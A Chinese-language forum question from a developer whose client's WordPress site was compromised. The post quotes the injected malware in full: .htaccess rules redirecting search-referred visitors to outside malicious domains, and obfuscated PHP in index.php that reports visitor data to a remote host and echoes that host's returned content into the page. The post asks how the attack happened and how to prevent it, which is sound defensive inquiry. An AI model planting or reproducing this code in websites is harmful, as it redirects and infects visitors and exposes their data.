防止恶意软件攻击我的网站

我为一个客户建立了一个wordpress网站。几天后，客户报告说，该网站已被谷歌屏蔽的恶意软件内容。当我检查这个站点时，我发现代码中有一些变化，比如。htaccess的代码与之前的代码不同。

 RewriteEngine On
 RewriteBase /
 RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
 RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/$ [NC]
 RewriteRule ^.*$ http://clubatleticoestrada.org.ar/awas.html?h=1110720 [L,R]
</IfModule>

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/'1$ [NC]
RewriteRule ^.*$ http://halisahamiz.com/eehs.html?h=1110720 [L,R]
</IfModule>

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/'1$ [NC]
RewriteRule ^.*$ http://zabetonom.ru/mhos.html [L,R]
</IfModule>

RewriteEngine On
RewriteBase / 

# MCCL

# END MCCL

和index.php包含了这个:

if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
     curl_close($stCurlHandle); 
}
}

这种攻击是如何发生的，我如何防止自己在未来发生这种攻击?

在重置站点时，我发现公共Html文件夹外的一些文件受到了影响。大家是怎么做到的呢